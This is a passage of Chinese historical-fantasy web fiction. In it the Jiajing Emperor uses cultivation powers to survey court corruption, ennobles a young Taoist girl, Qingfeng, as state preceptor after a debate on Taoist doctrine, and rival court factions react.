一晚上的时间,嘉靖宛若天道一般,用上帝视角,视听大明天下,两京一十三省。 景王一系、裕王一系,所有身居要职的要员,小到他们今时今日说的不敬之言,大到所有往来私账目册存放之处,银库钱财几何。 可以说是事无巨细,将严党和清流一派,见得人的,见不得人的,给翻了个底朝天。 时间不断的推移,雪下了一整夜,天蒙蒙亮的时候,雪势减小。 嘉靖双眼缓缓睁开,眉宇间有疲惫之色浮现。 饶是他是修仙者,一心二用的同时,在脑子里不断翻转大明朝,放大、缩小、放大、缩小的不停反复,此时也不由一阵头昏脑胀。 一旁的吕芳,早就顶着两个黑眼圈了。 不过饶是如此,他依旧趴在地上,在那长长的,铺到殿另一侧的宣纸上不停的书写着。 终于随着嘉靖睁眼,他也停下了手中的笔。 “主子,两京一十三省,两派的所有不干净的官员,都在这里了。”吕芳快速将宣纸卷成轴,足足有七八轴。 而这,还只是到后面,筛选出一些要员,像是一些小官员,则是直接选择了放过,并且里面记载的,可不是罪证,而是罪证存放点。 看着面前案桌上摆放的几捆卷轴,嘉靖目光淡漠,面上看不出喜怒之色。 吕芳已经垂手站在一旁,脑袋都不敢抬一下。 这七八捆卷轴,可以说算是触目惊心了。 “呵,”嘉靖随手拿起一捆,打量一眼,轻笑出声,“要是把这上面的人全砍了,估计我大明朝也要给这些人陪葬了……” “主子息怒,仙体要紧啊。”吕芳赶紧开口安慰。 “放心吧,朕既然敢视听大明,就有这准备,”说着,嘉靖起身,“把这些东西整理成册后存起来,之后交于陆炳……” “挑几个大头的典型严办,敲山震虎。之后,就由你亲自跑一趟严府和徐府了。” “等会严府把正一道的人送来了,让人领到玉熙宫来……你下去休息吧。” “是!”吕芳躬身就要退下,跟着就听殿中嘉靖的声音悠悠传来。 “空山不见人,但闻人语响。” “返景入深林,复照青苔上……” 听到王维的这首《鹿柴》,吕芳仅是一瞬的愕然,而后便面露微笑的躬身告退。 “主子的心态愈发的超然了。” “才阅尽了朝野天下,尤其是遍览了诸多邪恶后,还能如此快速从中抽身,且寻得一片内心宁静,回归本真,保持心态的平和超然。” “嗯,主子不愧是万寿帝君!” “……” 第二十一章 修道天才?清风 “清风啊,到了宫里好生陪伴陛下。” “若是生活上,有什么需要的,就让人找世藩,他都会安排好的。” “你在山下举目无亲,严家就是你的靠山,若是有人欺负了你,受了气,也尽管说来。” 西苑宫门外,马车旁。 老态龙钟的严嵩,满脸慈祥的看着清风,殷殷叮嘱。 旁边则满脸严肃的严世蕃,则用一种父亲般的眼神,鼓励的看着清风。 西苑宫门口厚厚的雪地已经被太监们清理了一遍,此时地面又铺上了一层淡淡的白。 风雪涩涩,雪势不大。 几人的肩头也都已经担上薄薄一层积雪。 清风看着面前的老人,还有身旁,眼神中透露着威严与鼓励之色的严世蕃,心中感动。 虽然在严府只有短短的数天时间。 但严家对她的照顾,却是无微不至,让她有种区别于山上,和师父师兄在一起的感觉。 这种感觉,就像是世俗里,家的感觉,嗯,她没体会过,但觉得家应该就是这样。 有慈祥的爷爷,威严的父亲! “嗯,清风明白,阁老,小阁老,风雪渐大,你们也回去吧。”清风作揖礼道。 “你去吧,我们看着你进去再走。”严嵩说着,示意清风先进去,句句不提长辈亲人,但又处处是长辈亲人的做派。 见严嵩坚持,清风也不再坚持,微微颔首,转身朝着西苑宫门内走去。 此时,门口正好有身穿红衣的太监迎了上来,却是收到消息的秉笔大监黄锦。 见严嵩跟严世蕃竟然亲自来送人,黄锦目光微不可察的打量了眼清风,朝着严嵩二人看去。 远远的拱手欠身,行礼。 “去吧,去吧。”望着回头的清风,严嵩面容慈祥的笑呵呵摆手。 “道长有礼了。”知道这模样标致,不施粉黛的少女道士,是干爹安排自己来接,送到主子的玉熙宫,黄锦自然是礼数周到。 “咱家是司礼监秉笔大监,奉主子的令,来接道长去往玉熙宫面圣。” 听到黄锦的话,清风也不怠慢,作揖礼道:“有劳黄公公了。” 同时心里也有些好奇的打量着黄锦。 嗯,这就是太监吗? 这些天,她在严府,也学了不少宫里的规矩,对宫里的一些掌权者也悉数得知。 司礼监更是重中之重。 作为一个自幼生活在山里的小姑娘,对话本里,别人嘴里提到的太监,也充满了好奇。 “一切为了陛下,”黄锦笑着回了一礼,然后做了一个请的手势,“道长,我们走吧。” “好。”清风跟在黄锦身后,消失在了西苑宫门后。 雪势,渐渐大了起来。 身子略显佝偻的严嵩,目视着隐藏在阴沉天穹下,蒙蒙风雪里的建筑,久久无言。 “世藩,伱是不是让你的小妻,教清风房中术了?”严世蕃转身看向这个激进的儿子。 “爹,那丫头白的就像個兔子,什么都不懂,她进宫怎么才能服侍好皇上?”严世蕃见老爹有怪罪的意思,当即急声解释。 “我这也是为了她好,为了我们严家……”话还没说完,就被严嵩的低喝打断。 “不要再多此一举啦!”声音拉得老长,瞪着眼,爆发出无限的威势,吓得严世蕃退后一步,怔在原地,大气也不敢喘一下。 他没想到,老态龙钟的父亲,还有如此虎威,他仿佛看到了一头绝世凶虎一般。 “父,父亲,您别激动,”严世蕃咽了口口水,上前搀扶着严嵩,“听我详细说来。” “这丫头本就是道门杰出之辈,像是‘素女经’、‘洞玄子’等经典,听我那小妻说,比她这个专研此道的散修还要熟稔。” 说着严世蕃又言辞郁闷,道:“她还给我那小妻说什么房中修行,重在节欲。” “她还告诫说什么‘上士别床,中士异被,服药千裹,不如独卧’。”说着,严世蕃手背一拍手心,急恼道:“这不是危言损听吗?” “昨日,我那小妻竟要与我分被而睡,还说是为了我的老命,简直岂有此理!” “我不跟女人分床睡,就没上等修养了?跟自家婆娘同被而眠,连中等都没了?从未涉事的小丫头,她岂能明白鱼水之乐?” “等她进了宫,就知道什么叫乾坤阴阳,什么叫孤阳不生,什么叫道法自然!” 一番诡辩谬论,听的严嵩也是眼皮直跳,道法自然,是这么理解的吗? 你严世蕃的眼里,道法自然就那点龌龊? “总之以后你在清风面前,做好一个合格的长辈,莫要再做有损颜面的事来!” 严嵩懒得听他的鬼扯,在车夫的搀扶下进了车里。 见父亲强硬的态度,严世蕃心中不爽,却也只能郁闷的应了一句,跟了上去。 玉熙宫内。 嘉靖打坐一番,祛除熬夜的疲惫后,轻轻呼出一口气,只觉得浑身轻松了不少。 昨夜忙了一夜,如今倒也没有了继续修炼的心思。 引气诀上说,修行之道,当松弛有道才是,一直闷头苦修,反而有害身心。 “主子陛下万岁,奴婢黄锦,”一个熟悉的声音响起,黄锦恭顺的跪在精舍外,“主子,正一道,清风道长已经在殿外等候。” “嗯。”正好放松一下,嘉靖点了点头,道:“让她进来吧。” “是。”黄锦起身后,躬身退出大殿,没一会,便领着一个身穿藏蓝色道袍的少女进来。 少女,看起来清清瘦瘦的。 鹅蛋脸,看起来略有些婴儿肥,面上不施粉黛,脑后用木簪扎了一个髻儿。 一双眸子很大,很明亮,似是未经浊世污染的宝石一般,清澈,还有几分好奇。 看到嘉靖的时候,眼中隐有打量之色。 嗯,在山上的时候,她也听师兄们说过,皇帝如何如何,第一次看到皇帝,自是好奇。 黄锦见这小道姑竟然直面见圣,轻咳了一声意识提醒。 “贫道,清风。俗家姓名,张卿悟,拜见陛下,愿陛下圣寿无疆。”听到黄锦的提醒,清风倒也机灵,顿时低眉垂目,开始行礼。 “赐座。”嘉靖平静开口,黄锦立刻搬来小凳给清风坐下,自己则垂手伺候在一旁。 “说来,朕与道门渊缘颇深,”嘉靖坐在上方精舍中,看了眼下方,眨着清澈眸子的少女,“嘉靖三年,朕与邵元节真人一见如故。” “你可知邵元节,邵真人?” “嗯,”清风微微点头,“知道的。” “上清宫的邵真人,按照辈分算起,是清风的师兄。” 师兄?这回轮到嘉靖惊讶了。 这小姑娘,看年龄不过是破瓜之年,绝不超过十六岁。 这辈分,竟然跟邵元节平辈,倒是出乎意料。 “这么说,你与陶真人也是同辈了?那上任天师张彦頨是……”嘉靖来了几分兴趣。 “嗯。”清风不解这位皇帝为什么会笑的奇怪,不过还是解释道:“他是师祖。” “师祖仙逝之后,师父与邵、陶二位师兄同辈,他老人家便代师收徒。” “那你应该叫他师兄,为何叫师父?”嘉靖疑惑,这龙虎山的辈分是乱的吗? “回陛下,虽然辈分上是师兄,但实则是师父。我自幼便是师父带大,而且他也没有纠正过我,习惯后,就一直如此称呼了。” “呵,呵呵……”听到清风这么说,嘉靖脑海中想到了一个人的身影,笑着看向清风,道:“你那师父心眼,忒不大点了。” “这事,嗯,像是他干得出来的。” “师父心眼不小……”尊敬的师父被说心眼不大,清风抿了抿小口,低下头,眉头轻轻蹙起。 “个中缘由,你还小,自是不明白。”嘉靖看出这小姑娘的情绪,全当是修行,治国之余的逗闷子,愿意多说几句。 “你师父这是在给你师祖出气呢。” 出气?清风眨了眨眼,神情间有不解之色。 “当年,邵元节不过是你师祖的属下,弟子都算不得,得你师祖引荐才得青云路。” “之后,朕让邵元节总领道门,统辖‘朝天’、‘显灵’、‘灵济’三宫。 他的地位与日俱增,还在你正一道的历代领袖,龙虎山的张天师之上。 而那时,你师祖才是天师,这在你那心眼不大的师父看来,让你师祖情何以堪?” “如今好了,他算是出了口气。” “你们本该是师徒关系,他却偏偏要代师收徒,让你这丫头与邵元节,陶仲文同辈论处,陶仲文没死之前估计也被气的半死。” “不过如今邵、陶二位都已仙逝,人死为大,你师父还要把你送到朝廷来这么一出,陶仲文的徒子徒孙会怎么想?” “这不就是自己吃过的瘪,也要让别人尝尝滋味吗?” “你说,他心眼可不就是不大吗?” 说着,嘉靖笑着看了眼黄锦,道:“看来,这道门真人气性太大,修为不到家啊。” “主子说的是,”黄锦听得出来,嘉靖的调笑,当即笑呵呵的附和,“可不是什么人,都能有主子的境界的。” 陛下说话好没道理,难道这不该怪你?再说有仇报仇,有怨报怨,又没有错?我辈修道,讲究心性豁达,才不是以德报怨呢。 话说,师父和邵师兄,陶师兄之间,还有这样的恩怨吗? 难怪提到他们,师父总是一副不忿的样子。 清风心间,思绪纷纷。 “且不说他们,”嘉靖一摆手,一手撑着膝盖,身子微微前倾,道:“符箓、丹鼎、积善、占验和经典这五派,你专精哪一道?” 虽然正一道是符箓派代表,但也不尽然,道门内部融合交流,正一道的道士,除了修‘本专业’外也可能主修其他‘专业’。 “主修符箓、丹鼎、占验和经典。”让嘉靖惊讶的是,这少女竟毫不犹豫的说专精四派。 黄锦也露出目露惊讶之色。 之前就听说,这次严嵩找了个道门天才,没想到果然不同凡响。 同时主修四派,令人惊讶不已。 “天才吗?”嘉靖看着面前目光清澈,清清瘦瘦的少女,眸光涌动。 又想到昨日视听天下时,看到的一些人,一些事。 忽的,心头升起了个念头。 此女懵懂单纯,或可为我所用。 一念起,千般计较,已然是在胸中酝酿。 “……” 第二十二章 论道,愉悦,片刻闲,不,她是道门异端! “哦?” 嘉靖心中千般计较闪过,面上露出感兴趣的神色,道: “积善派主张积累功德和善行来净化心灵,提升道德修养,认为良好的行为和品德是通往成仙之路的基础。乃是导人向善的大道。” “此派主张宇宙自然和谐共处的境界,颇合天人合一的思想,朕深以为然。” “你为何不修呢?”嘉靖询问间,眼底有笑意浮动。 逗趣儿,片刻闲嘛。 靠做善事,积累功德成仙?怎么可能嘛!嗯,陛下一把年纪了,好单纯呀。 清风眨了眨清澈的眸子,心中给了一个评价。 呜,我该怎么把残酷的天道,说的婉转一些,不要吓到单纯的皇帝陛下才好呢。 “嗯。”清风抿了抿小口,努力的在脑海中组织着善良的语言,慢吞吞道: “道家言:上善若水。水善利万物而不争,处众人之所恶,故几于道。” 闻言,嘉靖暗暗点头。 这是强调水的谦卑与不争啊。 与人和善,与自然和善,与宇宙天地和善,能达天人合一之境。 知道她还有论调,嘉靖也不插嘴。 此时,嘉靖心里也存了几分,考量考量这个所谓道门修道天才的心思。 还是那话,逗趣儿,片刻闲嘛! 不过听着,听着,就觉得这味怎么不对了呢? “然而,”清风抬眼看向上方,‘单纯的皇帝陛下’,想到严阁老说,要对陛下知无不言言无不尽后,当即定了定心,道:“水之所以能利万物,正是因为它占据了低洼之地。” “换言之,水的“不争”其实是遵从了自然竞争之结果,自然之下,皆为生存斗争。” 水不争?不争就是争! 谁让你投胎投的好呢?要不要反思反思,是不是争了不自知? 嘶,怎么感觉这姑娘有点道门异端的意思呢? 子是这么说的吗? 嘉靖没有打断她,继续听着。 “又言,民不畏死,奈何以死惧之。”清风看了眼嘉靖,低眉垂目,道: “这句话的意思是,在极端情况下,面对死亡的威胁,人们要展现出极大的勇气与决心,去殊死搏斗,背水一战,争一线天机。 这,也说明了,在生死存亡之际,人的本能反应可能是激烈竞争与生存斗争。” “天道之下,皆为生存!” 听到这里,嘉靖感觉这姑娘肯定是个道门异端,不会是正一道赶出来,被严嵩接收了吧? 这话的意思,难道不应该是,主张统治者应当以德治国,让百姓自愿遵守法律和规范,而不是仅仅依靠强制和恐惧镇压吗? 怎么到她嘴里,反而是在鼓励被压迫者,主动造反,求生存的意思? 嗯,仔细一想,其实也可以这么理解哈? “我终是为单纯的陛下揭开了天道下,残酷生存下的冰山一角,三清尊神,原谅我……” 见皇帝陛下目露思索之色,清风心底轻叹,嘴上却是继续,道:“儒家亦有言:损不足以奉有余,谓之夺。” “这话的意思是,在天道法则下,资源总是倾向于流向最能利用它们的地方或個体。” 说着,她眨了眨清澈的眸子,认真举例,道: “正如这天下最好的,应该都在皇宫里一个道理,就算不在,陛下想要就会有。” “这更说明,天道之下皆是残酷,想要资源就要利用一切去争夺,去反抗。” 一旁的黄锦听到这里,腿肚子直接一软。 几个意思,好东西都在皇宫里?想要,就要抢夺?这红口白牙的一张小口,怎么能说出这种冷酷的话来? 正一道那帮牛鼻子,到底都给这小姑娘教了些什么,教授怎么造反吗! 这是欺了天了! 嘉靖盯着清风看了许久,心中确定了,这道门天才,可能就是个道门异类。 “陛下,”这时,清风抬头,脆生生道:“积善派讲究顺应自然,与天地和善。” “若是如此,凡人何须修仙呢?” “怎么说?”嘉靖来了兴趣,他现在对这个道门异端,越发期待了,这样的人,合该为我所用。 “生老病死,本就是自然法则,无人逃脱,若是要与自然、宇宙,天道和善,顺应之,那就应该认命,遵从生老病死的法则。” “修仙,岂不是逆天之举?” “所以说,仙道真相本质,乃是逆天而行,需要在残酷的天道法则下,与天争命!” 身为一个修仙者,皇权统治者,嘉靖自然明白这些道理。 他至今记得独孤英说过一句话,修仙就是你死我活,就是一个字,争! 争资源、争人口、争地盘。 争夺一切可以助自己仙路长远的东西! 如今从一个凡人女冠口中听到这番话,着实令人惊讶。 在这个世界这番话确实有异端的嫌疑,但在修仙世界,却是再正常不过的心态了。 这是每个踏上修仙路之人必备的。 至于皇权统治,那就更直白了,自古以来,史书看到的都是争,争当皇帝! 当了皇帝,就能获得一切资源。 之前的自己,可不就是这么做的吗?损天下,以奉己身。 哪怕自己修复大明,其最终目的也是殊途同归。 修复大明,发展大明,因为它会是自己的本命物,之后要反哺本命,助力自己! 以一国之力,助自己修仙。这道理,不正是暗合了一句:损天下,以奉己身? 不对,现在应该是,养天下,以奉己身! 毕竟本命、自己、本命物,仙路之上,这三者缺一不可,一荣俱荣,一损俱损。 我是不是过分了……见皇帝陛下在“发呆”,清风目露不忍之色,同时暗骂自己对陛下太残忍了。 都五六十岁的老头了,自己这么说,未免也太伤人了些。 真相这东西,真是把快刀。 就算是老头,也不会放过,唉! “玄元太乙,三清尊神。请垂听我,此诚心言。弟子虚言嗜怨,实乃罪过,罪过。” 嗯,认为自己对单纯的陛下说出这些话,有些残忍了,清风赶紧在心头祷告。 “清风,你的主张,你师父知道吗?”嘉靖收起心中所想,问出了心头的疑惑。 “啊?”突然被嘉靖这么一问,清风一愣,抬起头眨了眨无辜的眸子,“不道啊……” “呵,”嘉靖轻笑出声,轻摆道袍,手撑着膝盖,身子前倾,肃容,压低声道: “那怎么敢跟朕说这些…真相,嗯?” 看着嘉靖严肃的面容,认真的眼神,但却感觉不到丝毫凶恶,清风倒也不怕。 看着嘉靖,认认真真道:“严阁老嘱咐,进宫陪伴陛下,助陛下修行,要对陛下知无不言,不可有任何隐瞒,所以我就说了啊。” “嗯,这是实话。”嘉靖坐直身体。 “清风从来不撒谎。”一番交谈下来,她感觉,陛下还是很好说话的。 也没有山上师兄们说的,皇帝都很可怕。 而且这个陛下,给她的感觉还有点单纯了,竟然相信积善派那些话。 万事万物都在争,修仙也应该争才对。 严嵩要知道你今天说的这些,非吓掉半条老命不可!论道?通篇下来都是在造反! 边上的黄锦狂翻白眼。 “说的好,”嘉靖笑着起身,从精舍中走出,“今日论道与清风,感悟颇深。” 说话的功夫,嘉靖已经来到了大门口,看着大雪,撇头看向站在自己一边的清风,笑道:“是啊,所有人都在争!” “伱争,我争,他也争。” “争红眼了,就什么都不管不顾了,不该争的也争了,那时天道就要降下惩罚!” “逆天而行,总归要付出代价。” 听着,清风深以为然的点头。确实,逆天而行总是要渡劫的嘛,渡劫很危险的。 一旁的黄锦听到这里,却是有另一番感悟,结合他掌东厂,知道一些内幕消息。 再听这番话,心中暗暗猜测,想到了今儿,干爹叫他说话时,给的一些提点和暗示。 教他尽快清理东厂的一些手脚不干净的人和事。 “清风道长深得朕意,”说着,嘉靖嘴角微微上扬,长声道:“敕封尊号:清风玄灵守真慧悟真人,封国师,居悬圃宫!” “是,奴婢这就去办。”听到这话,黄锦微微躬身。 对此并不惊讶。 陛下玄修,崇道,封个道士当国师,也没什么,又不是没封过?内阁那边也不会太在意。 反正这所谓的国师,也拿不到实权,左右也不过是一个名头罢了。 一旁的清风听到这话,却是一张小口张的大大的,明亮清澈的眸子瞪的滚圆,满脑子就一个想法。 “清风玄灵守真慧悟真人?我这就国师了?” “可是,师父他老人家也没有被敕封尊号呢,师父都不是国师呢,我怎么就……” “国师大人,还不谢恩?” 清风被这消息冲的头晕目眩,想着是不是拒绝呢,黄锦催促的声音就跟着响起。 “啊,噢。”清风无奈,只能先跪下,抬着头,脆生生道:“谢谢陛下。” “呵。”看着跪在自己脚下,抬头眨着大眼,呆呆模样的少女,嘉靖轻笑出声,而后在她脑袋上轻拍了三下,转身离去。 “国师,走吧,咱家带您去住处看看。”黄锦赶紧满脸堆笑的扶起清风,道: “以后咱们,可就仰仗着国师照拂了。” 晕晕乎乎的清风,听着这话,又摸了摸脑袋,暗自思索,突然看向黄锦。 “黄公公,现在什么时辰了?” 被她这么一问,黄锦一愣,看着阴沉沉的天,不确定道:“估摸着,有午时了?” “午时,对应夜晚三更,陛下拍我脑袋三下,有什么深意吗?”清风在心底暗想。 “阴阳交界之际,天地间最为寂静之时,也是夜半三更,修行者进行特殊修炼的最佳时机,莫非陛下是要我今夜三更去找他?” “是了,我进宫就是助陛下修行的,如今得了封赏,应当肩负起,助陛下修行的责任!” 想通了的清风顿时豁然开朗。 “国师,为何突然问时辰?”黄锦不解道。 “仙人抚我顶,”清风绷着小脸,肃容看向黄锦,“陛下拍了我灵台三下,实则是让我今夜三更去找他,助他修行。” “啊?”黄锦发呆,脑海中不由想起,以前办好了差事,主子也这么拍自己脑袋的画面来,心中不由的喃喃自语起来。 “难道我错过了很多造化?” “……” 第二十三章 吕芳心态转变 玄圃宫外。 “这宫殿,就是我以后的住处了吗?”清风抬头打量着这座大殿。 “国师,这玄圃宫,又称为玄殿,是陛下炼丹,求仙问道之所,”身旁,黄锦则笑着道:“陛下对这玄殿可是喜欢的紧呢。” “如今却赏给了国师,可见国师圣眷正浓啊。” “陛下人可真好。”清风直言道。 她向来不是个喜欢说虚伪之言的人,好就是好。 听到这话,黄锦也是笑容堆积。 “国师,这玄圃宫内如今尚未安排道童伺候,之后会尽快安排好一切用度。咱家还要回去伺候主子,就先行告退了。” “嗯。”清风转过身,对着黄锦作了个揖礼,道:“此番多谢黄公公了。” “只要国师好好助陛下修行,就是对奴婢最好的谢礼了。”说完,黄锦躬身告退。 离开玄圃宫,黄锦顺道来到了吕芳的住处。 “干爹睡下了?”说话间,黄锦拍了拍身上的雪,解下披着的裘袍,递给冯保。 上次打死周云逸,又抢着去报祥瑞,虽然嘉靖没有怪罪,但吕芳还是斥责了冯保,不仅如此,至少在面子上,还下了冯保的官。 让他在门口守帘子,不过黄锦等人却不怠慢他。 “没呢,干爹正等着你呢,快进去吧。”冯保说着,为黄锦掀开了门帘。“我去给你再拿件新的袍子。”说完,转身离开。 黄锦应了一声,进了屋。 就见吕芳端坐在床榻上,裹着棉被,闭目养神,似乎是在冥想。 “干爹,差事办完了,”黄锦行了一礼,见吕芳没有正眼,又继续道:“陛下敕封清风道长尊号:清风玄灵守真慧悟真人,封国师。” 听到“国师”两个字,吕芳倏的睁开眼。 虽是有惊讶陛下见面就封了国师,却也并不是太意外。 陛下接下来可是要挥刀割肉的,改稻为桑的国策显然无法为严嵩带来收益。 巨大的亏空已经补不上,严嵩已经是砧板上的鱼了,只能静静挨宰。 不过陛下还要用他,自然要给安抚。 那清风受此恩宠,是在给严嵩吃定心丸呢。 “西厂的班底,陈洪组建的如何了?”吕芳抬了抬下巴,示意黄锦坐下说话。 “听小竹子说,快了。”说话间,黄锦的神情间多有不忿之色。 “觉得我没在主子跟前推举你们这些小子,反而让陈洪当了西厂督主,心中不快?”吕芳抬眼,看着这個憨厚的干儿子说道。 众多干儿子里,杨金水嘴严,会办事,忠臣,能力大,还很聪明,最得他心。 冯保有潜力,但太年轻。 办事太过激进,上次打死周云逸,又压着其他人,抢着去给主子报祥瑞,得罪不少人。 只有这个黄锦,心眼实诚,嘴笨,脑袋也不是很灵光,但却深得主子喜欢。 可以说,三个干儿子,各有优点。 自然的,对他们也就越了解,他们心里想什么,吕芳也是看得一清二楚。 “我……”黄锦张了张嘴,在吕芳的注视下,终是不忿道:“就是看不惯他那样子!” “不过是个提督,平日里不把我们放在眼里就算了,连干爹你也多有不敬。” “那些不懂事的私下里都说……”说着,黄锦低下了脑袋,不再言语。 “说什么?”吕芳眼神淡漠,不等黄锦开口,继续道:“说我不如陈洪?不过是运气好,就知道溜须拍马,谄媚献上?” “干爹,您?”黄锦一愣,没想到干爹都知道。 “别人嚼舌根随他去就是,”吕芳紧了紧棉被,“我们是家奴,主管照顾好主子就是。家里的权力,恩赏,主子自有吩咐。” “当奴婢的,要是忘了家奴的身份,那他大祸临头也就不远了。” 吕芳想到主子视听天下,一夜阅尽大明的仙神手段,心中自然比旁人明白。 大明,注定要在主子手上脱胎换骨。 之前,他想的是老了怎么全身而退,现在他想的是怎么永远的跟在主子身边。 仙缘,长生,谁人不期待? 其他人还在争那点凡俗权利的时候,他的眼界早已经到了更高的层次。 上次那颗仙丹,吃的他是刻骨铭心! 嗯,还想再吃,说不定主子下次赐药的时候,就是什么返老还童的仙丹。 “儿子记下了。”尽管心里不服,但黄锦心里还是只能默默忍下来。 “东厂那些不干净的人和事,要赶在三日之内清理干净,必要时快刀斩乱麻,一刀切!”吕芳说着,眼神中有冷色浮动。 “须知,当断不断,反受其乱!” 陈洪就是一条没头脑,但精力旺盛的疯狗,他跟陛下都默许了,要放他出去咬人。 到时候,东厂估计也会被咬,所以就趁着这个机会,完成一个利索的切割。 “是,儿子知道!”黄锦是东厂提督,手底下有很多脏事,他是知道的。 他虽然脑袋不怎么灵光,但也知道陈洪上位后,肯定会六亲不认的咬人的。 那时,陈洪身为提督大监,本就有监督司礼监之权,再掌西厂,可不是要收拾人? “干爹,还有件事,陛下今日……”黄锦把嘉靖拍了拍清风脑袋三下的事,和清风的猜测说了一遍,然后道:“陛下是这意思吗?” “如果真如国师所说,那我岂不是会错了很多主子的意思?” “呵。”听完黄锦的话,吕芳也是愣了一下,而后摇头失笑,“看来,果然是个单纯的孩子啊,严嵩倒是会送人。” “这种人一眼看去,就能让人看透。” “最重要的是,这种人放在主子身边,既安全,跟主子又志趣相投,堪称天作之合。” 说着,见眼眼巴巴的黄锦,顿时笑骂道:“傻小子,主子是否有深意,我能不提点你?” “那国师想多了?”黄锦错愕不已。 “严嵩不会往主子身边塞心思深沉之人的,所以那丫头就是个单纯的人。” “去吧,这事你不管了,晚上我当值,交给我来办就是了。”吕芳说着,打了个哈欠。 “儿子告退。”黄锦见此,躬身告退。 出门接过冯保给的新裘袍,打了个招呼后,便冒着风雪回了玉熙宫。 陛下敕封了国师的消息也从宫里传出。 当然,跟这个消息一同流出的,还有清风在玉熙宫与皇帝论道时的一些主张。 一时间,严党和清流两方,反应各不相同。 “……” 第二十四章 不患寡而患不均的严阁老 裕王府。 “嘭!”性子耿直,脾气火爆的高拱重重一拍桌,怒声道:“恶心,呸!” “我就说了,严党奸诈,必不会派简单人物到陛下身边,果然……”高拱说着,脸色铁青的怒声,道:“妖女,简直妖道!” “随意曲解歪曲先贤之言,蛊惑君王,小小年纪,红口白牙,刚入宫就哄得陛下为她上尊号,封为我大明国师…她何德何能!” 众人听着高拱的话,都是眉头深深皱起。 “道门五派,听闻她专精四道,却不知晓是哪四派,没想到却是如此缘由。”张居正也是抚须摇头,叹息道: “此女小小年纪,竟是信奉那弱肉强食的野兽法则,着实令人心惊。” “最可怕的是,据我们所了解,她自幼被张天师收养,长大,不曾下过山。” “按理说,确实是个心思单纯之人才对……”张居正说着,摇头叹息,“多事之秋,偏偏陛下身边又出了这么一个国师。” “只希望陛下不要被她影响才是。” 这时,赵贞吉也开始云了,“人之初,性本恶,有些人天生就如此。” “徐阁老,你怎么看待此事?”裕王看向徐阶问道。 “陛下圣明天子,不会被人蛊惑的。” “国师或许会对陛下有一定的有影响,但也有限。再说有我们在岂能让奸佞祸国?” “我担心的是,陛下对严党的态度……”徐阶缓声开口,说出了自己的担心。 左右不过是个无知妇人的些许浅薄见识,初听有些许新奇,不过是徒增笑料而已。 她说,水善利万物而不争,不争就是争,岂不知,这里说的不争乃是顺应自然之道,非为争而争,而是在无为中成就万物。 水之所以能润泽大地,滋养万物,正因为其遵循了自然的律动,不强求,不争先,而是以柔克刚,以退为进。 此大道至简,返璞归真之境界,岂能用简单粗暴的对立冲突,弱肉强食那一套概括? 简直笑话! 他担心的是严党。 还有陛下对严党的态度! “不错,”张居正也不再去想清风的事,而是开口道:“改稻为桑的国策被陛下七言辅策牵制,又有我们围追堵截,严党死局已成。” “只等补不起亏空,就是倒严之机。” “可是严嵩送一個无知少女入玉熙宫,陛下又是为她上尊号,又是封国师……” “俨然一副严党圣眷正浓的意思。” “莫非陛下并不打算对严党动手?”说着,张居正看向徐阶。 此时他也回过味来了,如今想来,他们之前太乐观了,陛下似乎在下一盘大棋? “父皇到底要做什么?”裕王也是表情沉凝。 一时间,大殿里清流一党全都沉默了。 他们也都回过味来了,陛下可能另有目的,眉宇间都不由的一片忧虑之色。 嗯,相比于清流一脉才回过味来,心中一片忐忑惊疑,死气沉沉不同。 严府这边,严嵩父子的心态反而很轻松。 甚至,相比于严嵩的喜怒不形于色,嚣张猖狂的严世蕃,则是放声大笑了起来。 “哈哈哈,好!”严世蕃满面红光,“陛下他还是惦着我严家的,好,哈哈……” “爹,你让清风那丫头入玉熙宫陪伴陛下玄修这一招,简直太妙了,哈哈。” “一则,让陛下看到我们的孝心。”严世蕃竖起大拇指后,又竖起食指,比了个“八”的手势,道:“二来,试探圣意!” “如果陛下收了,就说明在安抚我们家,就算后面有大风浪,也让我们心安。” “至少,我们不用担心后面,陛下亮剑之后,会让我们万劫不复!”又竖起中指,总共三根手指,比划着放在胸前。 “陛下对清风赏赐的越大,说明对我们家就越是看重,这是在给我们面子。” “同时也是在告诉所有人,我严家不会倒下!” “一石三鸟,爹,高!” 看着对自己拱手的严世蕃,严嵩斜睨向儿子,片刻后老脸一松,哼声一笑。 严世蕃也大声笑了起来。 “不过爹,清风那丫头的言论,着实有些惊人了些,这完全像是道门异类啊。”严世蕃坐下,美滋滋的喝了口茶,咂咂嘴道。 “小小年纪,心思单纯,却能一言道尽这世道本质,看来我小看了她啊……” 严嵩舔了舔手指,翻了一页手里的书,慢吞吞道:“清风入主玄圃宫,身边需要些伺候的人,你挑些可靠,乖巧的道童伺候着。” “以后我们严家,就指着清风了。” 闻言,严世蕃眉头一挑,道:“爹,您真的信,那丫头能爬上龙床?吹耳边风?” 抬眼看着严世蕃,严嵩只觉得心累,也没了看书的心思,直接在床榻上躺了下来。 “去操办吧,”背对着严世蕃摆了摆手,“记住了,别做一些多余的事。” “安排两个可靠,机灵的女道童贴身伺候就是了,其他的宫里会安排。” “是。”知道自己跟父亲之间差着太多城府的严世蕃,此时已经彻底老实了,自然是严嵩说什么,他就去做什么,不敢再乱来。 起身给严嵩盖上毯子后,躬身告退。 严世蕃离开后,暖烘烘的书房安静了下来。 半晌后,严嵩缓缓躺平,盯着房梁,幽幽道:“清风能不能爬上龙床不是重点。” “重点是陛下想要通过清风,透露什么信号给外界,正如这次对清风的恩宠,就是在告诉所有清流,严府不会倒。” “玉熙宫论道岂会那么容易传出来,恐怕这消息不日就会传遍天下。” “清风是我严家的人,这个事实永远不会改变……”心头念叨,严嵩呼吸变得急促,他感觉自己快抓住心底的答案了。 “裕王看的明白,清流看的明白,我严家就是给皇帝做事的,给皇帝遮风挡雨的。” “再多个清风,意义何在?” “无非就是多了一个干坏事的人罢了。 若是得罪了清流,那清风就会是个魅惑君王的妖女,妖道,遭天下人唾弃……” “等等!”呢喃自语着,严嵩突然像是想到了什么,猛的惊坐而起,眼底似有精光闪烁。 “国有妖道,魅惑君王…嘶!”严嵩抽了口气,瞪大着眼,呢喃道:“陛下他,不光是要对我严家出手,他还要对清流出手!?” “先利用清流,将我严家围追堵截,困死在掌中,成为那砧板之鱼……” “可是接下来呢?清流如何应对呢?” 严嵩自然知道,清流也贪,与他严家不同的是,自己吃相难看,三岁小儿都快知道了。 反正他也不在乎名声! 可是清流,吃相文雅,背后又是庞大的文人士绅,底蕴深厚,盘根错节。 这些人只要不是抄家后拿出铁证,没人知晓,一个看似廉洁的人,实则是个中饱私囊的巨贪。 所以,自古都是他这种权力来源于皇帝的奸佞,被打倒后轻轻松松就清算了。 